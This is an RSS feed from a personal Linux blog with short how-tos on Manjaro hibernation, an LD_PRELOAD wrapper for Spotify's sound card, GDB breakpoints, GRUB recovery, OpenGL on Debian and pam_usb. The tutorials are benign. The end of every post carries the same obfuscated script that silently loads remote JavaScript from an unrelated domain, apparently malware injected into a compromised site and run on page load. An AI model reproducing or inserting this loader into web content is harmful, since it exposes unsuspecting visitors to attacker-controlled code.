<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; Unix</title>
	<atom:link href="http://www.larsen-b.com/topics/unix/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Howto enable hibernate on a Linux Manjaro</title>
		<link>http://www.larsen-b.com/Article/460.html</link>
		<comments>http://www.larsen-b.com/Article/460.html#comments</comments>
		<pubDate>Sun, 16 Jun 2013 11:54:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Unix]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Manjaro]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=460</guid>
		<description><![CDATA[I run into some issues with my current Debian systems. In fact, I use Debian on a lot of computers, but most of the time the sessions are consistent, some have nautilus working some don&#8217;t .. same for automount, grub-updater, &#8230; <a href="http://www.larsen-b.com/Article/460.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I run into some issues with my current Debian systems. In fact, I use <a href="http://debian.org">Debian</a> on a lot of computers, but most of the time the sessions are consistent, some have nautilus working some don&#8217;t .. same for automount, grub-updater, and so on.</p>
<p>I decided to switch my desktop computer to another distro. After about 5 years with the same Debian Sid install, I switched to <a href="http://manjaro.org">Manjaro</a>. Manjaro use the same base system as Arch Linux but seems to be more user friendly.</p>
<p>Anyway, the hibernate don&#8217;t work out-of-the-box. When you restart the computer, it doesn&#8217;t restore the hibernate image from the swap. You can fix that quickly. Edit <em>/etc/mkinitcpio.conf</em> file and add &#8220;<strong>resume</strong>&#8221; to the HOOK flag like this.</p>
<pre><code>HOOKS="base udev autodetect modconf block resume filesystems keyboard fsck"</code></pre>
<p>After that, you must rebuild the initcpio file :</p>
<pre> <code>sudo mkinitcpio -p linux39</code></pre>
<p>That&#8217;s enough, you can now test with a simple pm-hibernate.</p>
<p><strong>/Enjoy Linux again.</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/460.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Change the default sound card in Spotify : Alsa + Monkey Patching</title>
		<link>http://www.larsen-b.com/Article/425.html</link>
		<comments>http://www.larsen-b.com/Article/425.html#comments</comments>
		<pubDate>Sat, 08 Dec 2012 13:12:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Unix]]></category>
		<category><![CDATA[alsa]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[spotify]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=425</guid>
		<description><![CDATA[I&#8217;m a long time Spotify user right now. I decided to opt for a unlimited account due to the price. The main issue : Spotify for Linux is a closed source software, doesn&#8217;t allow the user to change the sound &#8230; <a href="http://www.larsen-b.com/Article/425.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I&#8217;m a long time <a href="http://www.spotify.com">Spotify</a> user right now. I decided to opt for a unlimited account due to the price. The main issue : Spotify for Linux is a closed source software, doesn&#8217;t allow the user to change the sound card and I want to use my <a href="http://www.larsen-b.com/Article/414.html">almost finished USB DAC</a>.</p>
<p>In fact, if you use <a href="http://jackaudio.org/">Jackd</a> (and perhaps Pulse) you can change the sound card used by Spotify, but this is overkill for my needs (mainly cause, I use Spotify on a litte old netbook and Jackd is a nightmare to configure)</p>
<p>After some strace dump, Alsa (libasound2) source reading, I decided to fix it by myself. Let&#8217;s go for some <a href="http://en.wikipedia.org/wiki/Monkey_patch">Monkey Patching</a>. Monkey patching on closed source binary isn&#8217;t that easy, the hard step : find the right function to hack. Here the<a href="http://equalarea.com/paul/alsa-audio.html"> Alsa tutorial</a> come to rescue (ldd of course too). So we need to modify the <em>snd_pcm_open</em> call.</p>
<p>Let&#8217;s give it a try : First we need to dynamically re-route this call to a wrapper. The easier way to do this, is to build a special library and to force Spotify to use the wrapper with an <a href="http://en.wikipedia.org/wiki/Dynamic_linker">LD_PRELOAD</a> hack. (see code below). In fact, Spotify call the <em>snd_pcm_open</em> with <em>name=&#8221;default&#8221;</em> which is the default sound card, so we can change this to &#8220;usb&#8221; for example, and fix the .asoundrc to point &#8220;usb&#8221; sound card to the right hardware card.</p>
<p>That&#8217;s enough, let&#8217;s code :</p>
<pre>
<font color="0000ff"><strong>#define _GNU_SOURCE</strong></font>

<font color="0000ff"><strong>#include <font color="#008000">&lt;dlfcn.h&gt;</font></strong></font>
<font color="0000ff"><strong>#include <font color="#008000">&lt;stdio.h&gt;</font></strong></font>
<font color="0000ff"><strong>#include <font color="#008000">&lt;alsa/asoundlib.h&gt;</font></strong></font>

<strong>static</strong> <strong>int</strong> <font color="4444FF">(</font><font color="4444FF">*</font><font color="#2040a0">wrap_snd_pcm_open</font><font color="4444FF">)</font><font color="4444FF">(</font><font color="#2040a0">snd_pcm_t</font> <font color="4444FF">*</font><font color="4444FF">*</font><font color="#2040a0">pcm</font>, <strong>const</strong> <strong>char</strong> <font color="4444FF">*</font><font color="#2040a0">name</font>, <font color="#2040a0">snd_pcm_stream_t</font> <font color="#2040a0">stream</font>, <strong>int</strong> <font color="#2040a0">mode</font><font color="4444FF">)</font> <font color="4444FF">=</font> <font color="#2040a0">NULL</font><font color="4444FF">;</font>

<strong>void</strong> <font color="4444FF">*</font> <font color="#2040a0">wrap</font><font color="4444FF">(</font><strong>void</strong> <font color="4444FF">*</font> <font color="#2040a0">func</font>,<strong>char</strong> <font color="4444FF">*</font><font color="#2040a0">name</font><font color="4444FF">)</font>
<font color="4444FF"><strong>{</strong></font>
    <strong>char</strong> <font color="4444FF">*</font><font color="#2040a0">msg</font><font color="4444FF">;</font>
    <strong>if</strong> <font color="4444FF">(</font><font color="#2040a0">func</font> <font color="4444FF">=</font><font color="4444FF">=</font> <font color="#2040a0">NULL</font><font color="4444FF">)</font> <font color="4444FF"><strong>{</strong></font>
        <font color="#2040a0">func</font> <font color="4444FF">=</font> <font color="#2040a0">dlsym</font><font color="4444FF">(</font><font color="#2040a0">RTLD_NEXT</font>, <font color="#2040a0">name</font><font color="4444FF">)</font><font color="4444FF">;</font>
        <font color="#2040a0">fprintf</font><font color="4444FF">(</font><font color="#2040a0">stderr</font>, <font color="#008000">&quot;** wrapping %s =&gt;  %p<font color="#77dd77">\n</font>&quot;</font>, <font color="#2040a0">name</font>,<font color="#2040a0">func</font><font color="4444FF">)</font><font color="4444FF">;</font>
        <strong>if</strong> <font color="4444FF">(</font><font color="4444FF">(</font><font color="#2040a0">msg</font> <font color="4444FF">=</font> <font color="#2040a0">dlerror</font><font color="4444FF">(</font><font color="4444FF">)</font><font color="4444FF">)</font> <font color="4444FF">!</font><font color="4444FF">=</font> <font color="#2040a0">NULL</font><font color="4444FF">)</font> <font color="4444FF"><strong>{</strong></font>
            <font color="#2040a0">fprintf</font><font color="4444FF">(</font><font color="#2040a0">stderr</font>, <font color="#008000">&quot;** %s: dlopen failed : %s<font color="#77dd77">\n</font>&quot;</font>, <font color="#2040a0">name</font>,<font color="#2040a0">msg</font><font color="4444FF">)</font><font color="4444FF">;</font>
            <font color="#2040a0">exit</font><font color="4444FF">(</font><font color="#FF0000">1</font><font color="4444FF">)</font><font color="4444FF">;</font>
        <font color="4444FF"><strong>}</strong></font> <strong>else</strong> <font color="4444FF"><strong>{</strong></font>
            <font color="#2040a0">fprintf</font><font color="4444FF">(</font><font color="#2040a0">stderr</font>, <font color="#008000">&quot;** %s: wrapping done<font color="#77dd77">\n</font>&quot;</font>,<font color="#2040a0">name</font><font color="4444FF">)</font><font color="4444FF">;</font>
        <font color="4444FF"><strong>}</strong></font>
    <font color="4444FF"><strong>}</strong></font>
    <strong>return</strong> <font color="#2040a0">func</font><font color="4444FF">;</font>
<font color="4444FF"><strong>}</strong></font>

<strong>int</strong> <font color="#2040a0">snd_pcm_open</font><font color="4444FF">(</font><font color="#2040a0">snd_pcm_t</font> <font color="4444FF">*</font><font color="4444FF">*</font><font color="#2040a0">pcm</font>, <strong>const</strong> <strong>char</strong> <font color="4444FF">*</font><font color="#2040a0">name</font>, <font color="#2040a0">snd_pcm_stream_t</font> <font color="#2040a0">stream</font>, <strong>int</strong> <font color="#2040a0">mode</font><font color="4444FF">)</font>
<font color="4444FF"><strong>{</strong></font>
    <strong>int</strong> <font color="#2040a0">temp</font><font color="4444FF">;</font>

    <font color="#2040a0">sprintf</font><font color="4444FF">(</font><font color="#2040a0">name</font>,<font color="#008000">&quot;usb&quot;</font><font color="4444FF">)</font><font color="4444FF">;</font>

    <font color="#2040a0">wrap_snd_pcm_open</font> <font color="4444FF">=</font> <font color="#2040a0">wrap</font><font color="4444FF">(</font><font color="#2040a0">wrap_snd_pcm_open</font>,<font color="#008000">&quot;snd_pcm_open&quot;</font><font color="4444FF">)</font><font color="4444FF">;</font>
    <font color="#2040a0">temp</font> <font color="4444FF">=</font> <font color="#2040a0">wrap_snd_pcm_open</font><font color="4444FF">(</font><font color="#2040a0">pcm</font>,<font color="#2040a0">name</font>,<font color="#2040a0">stream</font>,<font color="#2040a0">mode</font><font color="4444FF">)</font><font color="4444FF">;</font>
    <font color="#2040a0">fprintf</font><font color="4444FF">(</font><font color="#2040a0">stderr</font>, <font color="#008000">&quot;** Calling snd_pcm_open for path:[%s] =&gt; fd:[%d]<font color="#77dd77">\n</font>&quot;</font>,<font color="#2040a0">name</font>,<font color="#2040a0">temp</font><font color="4444FF">)</font><font color="4444FF">;</font>
    <font color="#2040a0">fflush</font><font color="4444FF">(</font><font color="#2040a0">stderr</font><font color="4444FF">)</font><font color="4444FF">;</font>
    <strong>return</strong> <font color="#2040a0">temp</font><font color="4444FF">;</font>

<font color="4444FF"><strong>}</strong></font>
</pre>
<p>As you can see in the code, I use a generic wrapper function because during my code session, I used this function to re-route some other functions. To build the library :</p>
<pre>gcc -g -fPIC -shared -Wl,-soname,preload.so -ldl -o preload.so  main.c</pre>
<p>Load the lib, with export LD_PRELOAD=./preload.so before running Spotify. Spotify (and all other software using Alsa) will use &#8220;usb&#8221; as default sound card.</p>
<p>Note: C reader will note that name is a const char pointer, and so we can&#8217;t change it, but even if gcc raise a big warning, the code do trick fine.</p>
<p><strong>Enjoy good quality sound even w/ closed source </strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/425.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Calling GDB (Gnu debugger) within your code.</title>
		<link>http://www.larsen-b.com/Article/393.html</link>
		<comments>http://www.larsen-b.com/Article/393.html#comments</comments>
		<pubDate>Sat, 20 Aug 2011 12:19:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Unix]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[gcc]]></category>
		<category><![CDATA[gdb]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=393</guid>
		<description><![CDATA[I spent a lot of time finding the right way to do this, so here is a quick note. For work, I need to debug a small piece of code I wrote. But the main software (closed source) load my &#8230; <a href="http://www.larsen-b.com/Article/393.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I spent a lot of time finding the right way to do this, so here is a quick note. For work, I need to debug a small piece of code I wrote. But the main software (closed source) load my library (via dlopen) and run it in a single thread.</p>
<p>That&#8217;s fine, but I&#8217;m unable to debug this part of the code because I&#8217;m unable to place a breakpoint. So I want to place a &#8220;break&#8221; in my code that&#8217;s return back to GDB. (exactly like you can launch the debugger within Python w/ a simple pdb.set_trace().</p>
<p>This is quite easy to do, and really useful but not really popular. The main trick is to call the interrupt number 3. This will rise a SIGTRAP signal in the Linux kernel that GDB can intercept .. so in your code simply add a macro :</p>
<pre>#define GDB()  asm("int $0x3")
int main()
{
 int a = 12;
 GDB();
 printf("A ==&gt; %u \n",a);
 return 0;   
}</pre>
<p><br/><br />
Call the GDB(); macro in your code, compile it with gcc -g, simply run your program in GDB, and wait for the macro to be called :)</p>
<p><strong><em>/Enjoy gdb</em></strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/393.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Disable HAL in Xorg on Debian / Ubuntu</title>
		<link>http://www.larsen-b.com/Article/341.html</link>
		<comments>http://www.larsen-b.com/Article/341.html#comments</comments>
		<pubDate>Sat, 04 Jul 2009 08:18:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Unix]]></category>
		<category><![CDATA[hal]]></category>
		<category><![CDATA[keyboard]]></category>
		<category><![CDATA[mouse]]></category>
		<category><![CDATA[x11]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=341</guid>
		<description><![CDATA[Ok, let&#8217;s go for another big issue on the road to build a complex distro .. Maintainers tend to include one feature after one .. and now Debian is getting closer to bloat .. Anyway, sometime ago the HAL was &#8230; <a href="http://www.larsen-b.com/Article/341.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Ok, let&#8217;s go for another big issue on the road to build a complex distro .. Maintainers tend to include one feature after one .. and now Debian is getting closer to bloat ..</p>
<p>Anyway, sometime ago the HAL was introduced in Xorg. This allow you to hotplug mouse / keyboard &#8230; But if for a reason, your HAL is buggy .. you can&#8217;t use a keyboard or a mice in Xorg. That&#8217;s a bullshit ! I discover a bug in RAID + HAL, and HAL is now segfaulting on my computer .. so I need to get ride of this Xorg / HAL &#8230;</p>
<p>First you must modify /etc/X11/Xorg.conf with something like this :</p>
<pre>Section "ServerFlags"
    Option "AutoAddDevices" "False"
    Option "AllowEmptyInput" "False"
EndSection</pre>
<p>This disable the hal support, but if you want to have the keyboard and mice, you must install the following packages :</p>
<ul>
<li>xserver-xorg-input-kbd</li>
<li>xserver-xorg-input-mouse</li>
</ul>
<p>That&#8217;s it&#8230; no HAL support Xorg anymore, that works fine &#8230;<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/341.html/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Howto reinstall / restore Grub with an Ubuntu</title>
		<link>http://www.larsen-b.com/Article/272.html</link>
		<comments>http://www.larsen-b.com/Article/272.html#comments</comments>
		<pubDate>Tue, 30 Oct 2007 21:09:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Unix]]></category>
		<category><![CDATA[grub]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[sata]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[After a windows fresh install, the windows setup decided to drop my MBR to put its stuff in. Fine .. but I want my grub back now ! This is an old trick, but udev added a little complexity, so &#8230; <a href="http://www.larsen-b.com/Article/272.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>After a windows fresh install, the windows setup decided to drop my MBR to put its stuff in. Fine .. but I want my grub back now !</p>
<p>This is an old trick, but udev added a little complexity, so let&#8217;s give it a try. First boot on a Ubunty CD, open a console and run:</p>
<p>(here my linux partition is sda2, second partition on a sata disk)</p>
<pre class="literal-block">mkdir /media/mnt
mount /dev/sda2 /media/mnt/
mount -o bind /dev/ /media/mnt/dev
chroot /media/mnt

=&gt; now you are on the destination disk, so you can install grub.
grub-install /dev/sda</pre>
<p>Of course you can do a lot more stuff, like changing fstab etc etc .. but the trick is to mount + mount bind + chroot<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/272.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Howto to get openGL working on Debian (for Google Earth)</title>
		<link>http://www.larsen-b.com/Article/231.html</link>
		<comments>http://www.larsen-b.com/Article/231.html#comments</comments>
		<pubDate>Mon, 12 Jun 2006 23:03:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Unix]]></category>
		<category><![CDATA[google earth]]></category>
		<category><![CDATA[openGL]]></category>
		<category><![CDATA[x11]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[3D drivers (openGL) have awlays been a source of problem on Linux. A lot of people just don&#8217;t care, since they don&#8217;t use there computer to play games. But yesterday, something change this fact: Google released a native version of &#8230; <a href="http://www.larsen-b.com/Article/231.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>3D drivers (openGL) have awlays been a source of problem on Linux.<br />
A lot of people just don&#8217;t care, since they don&#8217;t use there computer<br />
to play games. But yesterday, something change this fact: Google released<br />
a native version of Google Earth for Linux[1]. As I already played with<br />
Google Earth before, I really want to test this new toy.[2]</p>
<p>Fine, except that I&#8217;m unable to get hardware openGL working and Google Earth is<br />
really slow, so I decided to fix that. (done on two computers..)</p>
<div class="section">
<h1><a id="configure-your-kernel" name="configure-your-kernel">1) Configure your kernel</a></h1>
<p>Be sure to have AGP (Device drivers-&gt;Character device) and DRM (Device<br />
drivers -&gt;Graphic drivers) enabled for your card. Now rebuild it using<br />
the usual way.. and reboot.</p>
<p>After the boot look at dmesg, you should find something like this:</p>
<pre class="literal-block">agpgart: Detected 892K stolen memory.
agpgart: AGP aperture is 128M @ 0xf0000000
[drm] Initialized drm 1.0.1 20051102
...
[drm] Initialized i915 1.4.0 20060119 on minor 0
[drm] Initialized i915 1.4.0 20060119 on minor 1</pre>
<dl class="docutils">
<dt>(If you have a Dell computer like D400 with Intel 855GM, you need to</dt>
<dd>choose the i915 driver for DRM, edit the linux/.config since it doesn&#8217;t<br />
appear in common menuconfig)</dd>
</dl>
</div>
<div class="section">
<h1><a id="install-the-latest-xorg" name="install-the-latest-xorg">2) Install the latest Xorg</a></h1>
<p>This is the tricky part, since Xorg update are not really easy this days.</p>
<pre class="literal-block">sudo apt-get install xserver-xorg</pre>
<p>Let&#8217;s go, for a long update&#8230; (I&#8217;m switching from 6.9 to Xorg 7.0)..<br />
I spent a little time to fix some errors here.. but nothing really important.</p>
</div>
<div class="section">
<h1><a id="install-mesa" name="install-mesa">3) Install Mesa</a></h1>
<p>Now, you need to install the openGL libs, simple apt-get this packages:</p>
<ul class="simple">
<li>xlibmesa-dri</li>
<li>xlibmesa-gl</li>
<li>xlibmesa-glu</li>
<li>mesa-utils</li>
<li>libgl1-mesa-dri</li>
<li>libgl1-mesa-glx</li>
</ul>
</div>
<div class="section">
<h1><a id="tests" name="tests">4) Tests</a></h1>
<p>Start your Xserver, and look in /var/log/Xorg.0.log, you should fine stuff like<br />
this:</p>
<pre class="literal-block">(II) I810(0): [drm] created "i915" driver at busid "pci:0000:00:02.0"
(II) I810(0): [drm] added 8192 byte SAREA at 0xe0b2f000</pre>
<p>So we can test check with <em>glxinfo</em></p>
<pre class="literal-block">display: :0  screen: 0
direct rendering: Yes
server glx vendor string: SGI
server glx version string: 1.2</pre>
<p>Be sure to have <em>direct rendering</em> ok.. if this is ok, .. you can start glxgears..<br />
and Google Earth :) ..</p>
<p><img src="http://jkx.larsen-b.com/photos/blog/google_earth.sized.jpg" alt="http://jkx.larsen-b.com/photos/blog/google_earth.sized.jpg" /></p>
</div>
<div class="section">
<h1><a id="issues" name="issues">5) Issues</a></h1>
<p>Some users have some trouble w/ DRI not working with  strange messages<br />
( sizeof(I830DRIRec) does not match &#8230;), or strange display updates (out of syncr<br />
windows .. ). This seems to be bugs in Mesa, you can try the latest experimental<br />
(which fix all issues for me). Simply install this packages:</p>
<blockquote>
<ul class="simple"></ul>
</blockquote>
<li>libgl1-mesa-dri_6.5.0.cvs</li>
<li>libglu1-mesa_6.5.0.cvs</li>
<li>libgl1-mesa-glx_6.5.0.cvs</li>
<p><strong>Update: Added issues w/ my Dell Latitude D400</strong></p>
<p><strong>Update2: The latest mesa from the Debian SID is working right now</strong> (no more experimental)</p>
<ul class="simple">
<li>[1] <a class="reference" href="http://www.larsen-b.com/Article/212.html">http://www.larsen-b.com/Article/212.html</a></li>
<li>[2] <a class="reference" href="http://earth.google.com/">http://earth.google.com/</a></li>
</ul>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/231.html/feed</wfw:commentRss>
		<slash:comments>30</slash:comments>
		</item>
		<item>
		<title>Find a PID with ps + awk</title>
		<link>http://www.larsen-b.com/Article/181.html</link>
		<comments>http://www.larsen-b.com/Article/181.html#comments</comments>
		<pubDate>Mon, 15 Nov 2004 21:16:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Unix]]></category>
		<category><![CDATA[shell]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[This is really something i need to learn, and never forget. But this is kind of stuff, I always forget. So I write it up right now. ps aux&#124;gawk '$11 == "ssh" {print $2}']]></description>
				<content:encoded><![CDATA[<p>This is really something i need to learn, and never forget. But this is kind of stuff, I always forget. So I write it up right now.</p>
<pre class="literal-block">ps aux|gawk '$11 == "ssh" {print $2}'</pre>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/181.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Grub install on Debian Howto</title>
		<link>http://www.larsen-b.com/Article/141.html</link>
		<comments>http://www.larsen-b.com/Article/141.html#comments</comments>
		<pubDate>Tue, 03 Aug 2004 02:39:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Unix]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[grub]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[By default Debian install Lilo on i386 arch. I really like lilo, but after a couple of broken config file and severall other hitch. I decided to install grub. Grub is a bit hard if you never install it before. &#8230; <a href="http://www.larsen-b.com/Article/141.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>By default Debian install Lilo on i386 arch. I really like lilo, but after a couple of broken config file and severall other hitch. I decided to install grub. Grub is a bit hard if you never install it before. But mainly because the apt-get install grub doesn&#8217;t install a default file. So</p>
<pre class="literal-block">apt-get install grub
grub-install /dev/hdXX #where to put the bootloader</pre>
<p>Now you can reboot. But to have a nice menu edit a file /boot/grub/menu.lst like that:</p>
<pre class="literal-block">default=0
timeout=5
boot=/dev/hda

title Linux-2.6.7
root (hd0,1)
kernel /boot/vmlinuz-2.6.7 root=/dev/hda2 vga=791 ro

title Debian-2.4
root (hd0,1)
kernel /boot/vmlinuz-2.4.26-1-686-smp ro root=/dev/hda2
initrd=/boot/initrd.img-2.4.26-1-686-smp

title Memtest
root (hd0,1)
kernel /boot/memtest86+.bin</pre>
<p>Note: My boot is hda2 (hd0,1) second partition of the first disk<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/141.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Pam_USB</title>
		<link>http://www.larsen-b.com/Article/70.html</link>
		<comments>http://www.larsen-b.com/Article/70.html#comments</comments>
		<pubDate>Fri, 19 Dec 2003 06:13:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Unix]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Pam_USB is a pam_module that allow you to log in w/ a usb-key (or a cdrom/ floppy .. any removable device w/ a serial number or a free space to hold DSA keys.) This is pretty kool since, this kind &#8230; <a href="http://www.larsen-b.com/Article/70.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p><a class="reference" href="http://www.sig11.org/~al/pam_usb/">Pam_USB</a> is a pam_module that allow you to log in w/ a usb-key (or a cdrom/ floppy .. any removable device w/ a serial number or a free space to hold DSA keys.)</p>
<p>This is pretty kool since, this kind of stuff can be usefull. I think about:</p>
<ul class="simple">
<li>security of course ( using Additional directive )</li>
<li>or usefull ( for example in POS &#8230;)</li>
</ul>
<p>Anyway i will install this on my notebook since I use it a lot and I can&#8217;t always trust the potential users. ( I usually leave it w/ xlock at my work. )<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/70.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Security</title>
		<link>http://www.larsen-b.com/Article/61.html</link>
		<comments>http://www.larsen-b.com/Article/61.html#comments</comments>
		<pubDate>Sat, 29 Nov 2003 10:34:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Unix]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Last week, Debian server has been hacked. Ok but take a look at http://www.wiggy.net/debian/developer-securing/ you will learn how they try avoid this in the future. Mainly by avoiding lkm in linux.]]></description>
				<content:encoded><![CDATA[<p>Last week, Debian server has been hacked. Ok but take a look at  <a class="reference" href="http://www.wiggy.net/debian/developer-securing/">http://www.wiggy.net/debian/developer-securing/</a> you will learn how they try avoid this in the future. Mainly by avoiding lkm in linux.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/61.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
